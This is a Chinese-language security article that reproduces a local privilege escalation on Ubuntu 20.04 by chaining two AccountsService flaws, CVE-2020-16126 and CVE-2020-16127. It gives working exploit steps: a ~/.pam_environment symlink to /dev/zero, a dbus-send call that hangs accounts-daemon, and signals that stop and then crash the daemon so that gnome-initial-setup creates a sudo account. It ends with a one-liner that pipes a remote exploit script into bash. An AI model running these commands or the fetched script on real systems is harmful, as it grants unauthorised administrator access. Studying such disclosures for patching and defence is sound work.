近日,国外研究人员在UbuntuAccountsService中发现了两个本地拒绝服务漏洞,并且两个漏洞单独的危害等级都是“低危”。但研究人员在偶然间发现,将两个漏洞组合在一起利用,能够达到本地权限提升的效果。下面对将这两个漏洞进行简要分析,并将组合利用本地提权的过程进行演示。
漏洞描述
Ubuntu AccountsService是个人开发者的一款用于在Linux上管理账户的软件。该软件提供对帐户的查询和操作功能,另外提供一组基于useradd、usermod等命令的API。
漏洞1【CVE-2020-16126】
AccountsService Privilege Drop 存在安全漏洞,该漏洞可触发致命错误,进而导致触发拒绝服务。参考:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202011-242
漏洞2【CVE-2020-16127】
AccountsService pam_environment 存在输入验证错误漏洞,该漏洞可触发致命错误,进而导致触发拒绝服务。参考:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202011-243
漏洞详情
1、AccountsService丢弃特权,普通用户可发送SIGSTOP导致拒绝服务
Ubuntu版本的accountsservice中存在一个源代码补丁,它添加了一个名为user_drop_privileges_to_user的函数:user_drop_privileges_to_user(User *user) if (setresgid (user->gid, user->gid, -1) != 0){ g_warning ("setresgid() failed"); if (setresuid (accounts_user_get_uid(ACCOUNTS_USER (user)), accounts_user_get_uid (ACCOUNTS_USER (user)), -1) != 0){ g_warning ("setresuid() failed");此功能用于在代表未特权用户执行操作时丢弃特权。删除EUID(Effective UID,即有效用户ID。创建文件时,系统内核将根据创建文件的进程的EUID与EGID设定文件的所有者/组属性,而在访问文件时,内核亦根据访问进程的EUID与EGID决定其能否访问文件)是明智的预防措施,可以防止accountservice访问那些非特权用户自身无法访问的文件。不幸的是,丢弃RUID(Real UID,即真实用户ID。用于辨识进程的真正所有者,且会影响到进程发送信号的权限。没有超级用户权限的进程仅在其RUID与目标进程的RUID相匹配时才能向目标进程发送信号,例如在父子进程间,子进程从父进程处继承了认证信息,使得父子进程间可以互相发送信号)具有使安全性变差的相反效果,因为它使未特权的用户能够将信号发送到accountservice。例如,他们可以发送 SIGSTOP信号停止accountservice守护进程并导致本地拒绝服务,从而影响系统的所有用户。该漏洞可以通过多种不同的D-Bus(D-Bus是一个消息总线系统,是应用程序相互通信的一种简单方式)方法触发。其中绝大部分都需要到在精确且正确的时刻发送SIGSTOP信号。但是,通过将特权放弃漏洞(CVE-2020-16126)与无限循环漏洞(CVE-2020-16127)结合起来,便可以使用一种更简单,更可靠的方式来重现该漏洞(gdm3即通过D-BUS与accounts-daemon通信),这将在下面进行介绍。
2、AccountsService.pam_environment无限循环
Ubuntu版本的accountsservice中,添加了一个名为is_in_pam_environment的函数:is_in_pam_environment (User *user, g_autofree gchar *pam_env = NULL; if (g_strcmp0 (property, "Language") == 0) elseif(g_strcmp0 (property, "FormatsLocale") == 0) pam_env = g_build_path ("/",accounts_user_get_home_directory (ACCOUNTS_USER (user)), ".pam_environment", NULL); if (!user_drop_privileges_to_user (user)) if ((fp = fopen (pam_env, "r"))) { while ((fgets (line, 50, fp)) != NULL) { if (g_str_has_prefix (line, prefix)) { user_regain_privileges ();这个函数会通过fopen与fgets函数在 (非特权)用户的主目录中循环读取一个名为.pam_environment的文件的内容。用户可以通过在主目录中创建一个此文件到/dev/zero的符号链接来触发一个无限循环:ln -s dev/zero ~/.pam_environment然后,可以通过在设置中更改系统语言的操作向accountsservice守护进程发送D-Bus消息来触发无限循环。当然,也可以使用dbus-send命令直接发送D-Bus消息:dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply=literal org/freedesktop/Accounts/User`id-u` org.freedesktop.Accounts.User.SetLanguage string:kevwozere &此时,accountsservice守护进程已经被卡在了无限循环中,并且已经删除了特权,我们便可以轻易的进行下一步的利用,而无需考虑后续发送信号的精确时机。
后续组合利用复现
我们先来查看一下系统信息,可以看到这里的测试环境用到的系统版本是Ubuntu 20.04.1 LTS。
执行id命令,查看用户组等信息,可以发现test2为普通用户,没有管理员权限,无法执行sudo命令。
ln -s dev/zero ~/.pam_environment然后打开设置,找到地区与语言一栏,更改language并确认,此时对话框会卡死,相关进程已经陷入死循环。

此时可以输入top命令观察,accounts-daemon程序的cpu占用率很快就会飙升到100%。
kill -SIGSTOP `pidof accounts-daemon`暂停之后注销用户,以便后面重新登录Gnome桌面时触发gdm3与accounts-daemon的D-Bus对话,从而造成初始用户帐户数量检查的绕过。具体来说,就是由于accountsservice daemon没有响应,因此gdm3误以为系统上的用户帐户为零,误认为这是首次安装(相关代码见此处),随后触发运行gnome-initial-setup,使得攻击者能够新建一个管理员权限(sudo组)的账户。注销之后,进入tty终端命令行(Ctrl+Alt+F3),使用之前的普通用户凭证登录,随后执行以下命令,发送SIGSEGV信号使accountsservice daemon崩溃。由于之前暂停了进程,还需要发送SIGCONT信号进行恢复。kill -SIGSEGV `pidof accounts-daemon`; kill -SIGCONT `pidof accounts-daemon`执行完毕之后,稍等片刻,就会进入如下的界面,即gnome-initial-setup程序。按照流程新建一个hacker用户。



再用id查看hacker的用户信息,可以看到此用户已经在sudo组里了。执行sudo进行测试,也完全没有问题。
至此,利用结束,我们已经成功手动实现了本地账户权限提升。为了方便利用,笔者将里面的所有GUI操作改写成了命令,编写了自动化的利用脚本,可供大家研究使用(请勿用于非法用途,否则后果自负):https://github.com/zev3n/Ubuntu-Gnome-privilege-escalationwget -q -O ---no-check-certificatehttps://raw.githubusercontent.com/zev3n/Ubuntu-Gnome-privilege-escalation/main/CVE-2020-1612%5B6_7%5D_exploit.sh| bash
参考链接
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
https://securitylab.github.com/advisories/GHSL-2020-187-accountsservice-drop-privs-DOS